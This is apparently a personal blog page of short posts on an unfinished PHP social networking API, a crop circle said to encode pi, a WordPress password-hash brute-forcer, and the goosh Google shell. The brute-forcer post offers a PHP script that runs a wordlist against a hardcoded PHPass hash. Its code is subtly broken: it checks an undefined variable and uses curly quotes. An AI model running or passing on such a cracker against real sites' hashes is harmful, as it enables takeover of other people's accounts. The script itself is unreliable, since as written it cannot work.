PHP Social Networking API written in PHP using XML-RPC for scalability
I have been going through my list of uncompleted projects and I’ve decided that I shall release my scalable Social Networking Platform API in hope that someone or a team would be willing enough to get it over the dip.
It is separated into the following components,
Server Fuction Class - This API handles all the social network database/processing fuctions
* XML-RPC Server - The XML-RPC Server takes requests and passes it to the Server Fuction Class, it returns any meta data that is returned back to the XML-RPC Client.
* XML-RPC Client - This Class is given to the Social Website, it takes requests from the Client Website and communicates with the XML-RPC Server, returns meta data.
* Client Website - accepts user input, accepts server input, and stores data in arrays, all webserver side processing is done here.
* Smarty Template Engine - Prints out formatted HTML for the websites visitors.
The communication process can only go up or down one step at a time similar to the OSI layers.
I am going from memory here as I do not have the source code at hand right now, but it currently has support for the following fuctions.
* Add/Delete/Modify users
* Unlimited amount of dynamic meta data fields, if a meta field doesn’t exist it will create it.
* Tags
* Friends Functions, Add/Delete/Is online etc.
* File handling (text,image,video,etc)
I also have a very base setup of a functional demo site demonstrating all available functions.
Current problem is just time, I would love to see this operational just I can’t find enough time to get it complete. I will release it as soon as I read through the different Open Source licenses available as I would like some control over the direction of where this will end up.
Filed under: code - No Pointless Response
Most complex crop circle ever discovered in England
Crop circles amaze me, it’s a phenomena that I truly hope is not created by humans of our time. This crop circle was discovered in a barley field in Wiltshire. The mind boggling feature of this one is that it’s respesenting the first 10 digits (rounded up) of pi, 3.141592654.
It has been recorded that the circle is 150ft (45.72m) in diameter, the digits are interpreted in 10th fractions of a circle, and by chance the index point from the center is pointing in the same direction as the dual lines.
This interpretation of Pi makes me wonder how they would know that we would be using a 10 base number set, considering we only use 10 because that’s how many fingers we have.. Also why would they show a decimal place, and why would they start the index completely parralell to the verticle lines?
Yes they could be communicating to show they understand our system, also demonstrating intelligence, who knows, if it’s a hoax, it just makes us feel that little bit more lonely in the universe, if it’s real, then I want to know everything there is to know.
Filed under: science - No Pointless Response
Wordpress PHPass hash bruteforce PHP script
Ok so I was a bit bored and was curious to know how Wordpress handled its authentication, turns out that it uses Solar Designers PHPass class, so I’ve decided to write a very simple Wordpress Bruteforcer for it.
require_once(‘./class-phpass.php’); //available at http://www.openwall.com/phpass/
$hash = “\$P\$BaahIvdhRXW8Q419WC/alyMUsY7S8I.”; // remember to quote out the $’s
$wp_hasher = new PasswordHash(8, TRUE);
$handle = @fopen (“wordlist.txt”,“r”);
if ($handle)
{
while (!feof ($handle))
{
$pass = fgets ($handle, 512);
$pass = str_replace (“\n“, “”, $pass );
if ($wp_hasher->CheckPassword ($pass, $hash1 ))
{
echo “FOUND: “ . $hash . “=” . $pass . “\n“;
exit;
}
}
}
fclose ($handle);
?>
Does seem to run a bit slow, but it serves its purpose.. If there is enough demand for a faster version I’ll consider writing one up, till then, peace.
Filed under: security - No Pointless Response
Goosh# - Google in a nutshell
I am definitely a console junky, and the internet should never have become graphical, if you have the same thoughts as me then you will probably appreciate this neat google tool.
A guy named Stefan Grothkopp has written something that I wish I had thought of, an AJAX google shell named goosh# that allows you to quickly type what you’re after and get the info in a traditional unix format.
help
| command | aliases | parameters | function |
| web | (search,s,w) | [keywords] | google web search |
| lucky | (l) | [keywords] | go directly to first result |
| images | (image,i) | [keywords] | google image search |
| wiki | (wikipedia) | [keywords] | wikipedia search |
| clear | (c) | clear the screen | |
| help | (man,h,?) | [command] | displays help text |
| news | (n) | [keywords] | google news search |
| blogs | (blog,b) | [keywords] | google blog search |
| feeds | (feed,f) | [keywords] | google feed search |
| open | (o) | <url> | open url in new window |
| go | (g) | <url> | open url |
| more | (m) | get more results | |
| in | (site) | <url> <keywords> | search in a specific website |
| load | <extension_url> | load an extension | |
| video | (videos,v) | [keywords] | google video search |
| read | (rss,r) | <url> | read feed of url |
| place | (places,map,p) | [address] | google maps search |
| lang | <language> | change language | |
| addengine | add goosh to firefox search box | ||
| translate | (trans,t) | [lang1] [lang2] <words> | google translation |
Now I am wondering if I should beat the craze and write a console app. Checkgoosh out for yourself at goosh.org.
Filed under: IT - No Pointless Response